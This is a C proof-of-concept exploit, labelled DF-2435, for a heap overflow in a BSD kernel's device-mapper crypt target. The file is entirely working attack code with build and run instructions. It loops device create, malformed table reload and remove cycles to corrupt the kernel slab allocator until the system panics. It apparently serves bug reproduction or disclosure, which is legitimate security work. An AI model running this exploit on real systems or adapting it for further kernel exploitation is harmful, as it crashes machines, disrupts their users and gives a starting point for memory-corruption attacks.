DF-2435 / dm_crypt_loop.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 | /* * DF-2435 loop PoC -- drives the dm_target_crypt status_str overflow in a * loop to accumulate slab corruption until INVARIANTS catches it as a panic. * * Each iteration: create dm device -> reload crypt table with "-1 -1" * offsets (status_str kmalloc'd too small -> ksprintf 36-byte overflow) -> * remove device (frees corrupted slab). After enough iterations the slab * zone's free-chunk linked list (c_Next pointers) is corrupted enough that * a subsequent kmalloc in dm_target_crypt_init hits the chunk_mark_allocated * zone-alignment assertion and panics. * * The single-shot PoC (dm_crypt_overflow.c) proves the overflow via * status_str readback. This loop PoC demonstrates the corruption impact * (deterministic panic with heap grooming). Use both together. * * Build: cc -O2 -o dm_crypt_loop dm_crypt_loop.c -lprop * Run: ./dm_crypt_loop [iters] (as root, after `kldload dm`) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" #define HEXKEY "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" #define UNDERLYING_DEV "/dev/md0" static int g_ctlfd = -1; static int send_ioctl(prop_dictionary_t dict) { return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL); } static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict = prop_dictionary_create(); prop_array_t ver = prop_array_create(); prop_array_add_uint32(ver, 4); prop_array_add_uint32(ver, 0); prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } static int do_op(const char *cmd, const char *name) { prop_dictionary_t dict = new_dm_dict(cmd); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name); int rv = send_ioctl(dict); prop_object_release(dict); return rv; } static int do_reload(const char *name) { prop_dictionary_t dict, td; prop_array_t cd; char params[512]; int rv; snprintf(params, sizeof(params), "aes-xts-plain %s -1 %s -1", HEXKEY, UNDERLYING_DEV); dict = new_dm_dict("reload"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name); cd = prop_array_create(); td = prop_dictionary_create(); prop_dictionary_set_cstring(td, DM_TABLE_TYPE, "crypt"); prop_dictionary_set_uint64(td, DM_TABLE_START, 0); prop_dictionary_set_uint64(td, DM_TABLE_LENGTH, 2097152); prop_dictionary_set_cstring(td, DM_TABLE_PARAMS, params); prop_array_add(cd, td); prop_object_release(td); prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cd); prop_object_release(cd); rv = send_ioctl(dict); prop_object_release(dict); return rv; } int main(int argc, char **argv) { int iters = 200; int i, rv; char devname[64]; if (argc >= 2) iters = atoi(argv[1]); g_ctlfd = open(DM_CONTROL_DEV, O_RDWR); if (g_ctlfd < 0) { fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno)); return 1; } printf("[*] DF-2435 loop: %d iterations of overflow+remove to panic slab\n", iters); fflush(stdout); for (i = 0; i < iters; i++) { snprintf(devname, sizeof(devname), "df2435l_%03d", i); (void)do_op("remove", devname); rv = do_op("create", devname); if (rv != 0 && rv != EEXIST) continue; if (rv == EEXIST) { (void)do_op("remove", devname); rv = do_op("create", devname); if (rv) continue; } rv = do_reload(devname); (void)do_op("remove", devname); if ((i % 25) == 0) { printf("[*] iter %d/%d ok\n", i, iters); fflush(stdout); } } for (i = 0; i < iters; i++) { snprintf(devname, sizeof(devname), "df2435l_%03d", i); (void)do_op("remove", devname); } close(g_ctlfd); printf("[!] exhausted %d iterations without panic\n", iters); return 0; } |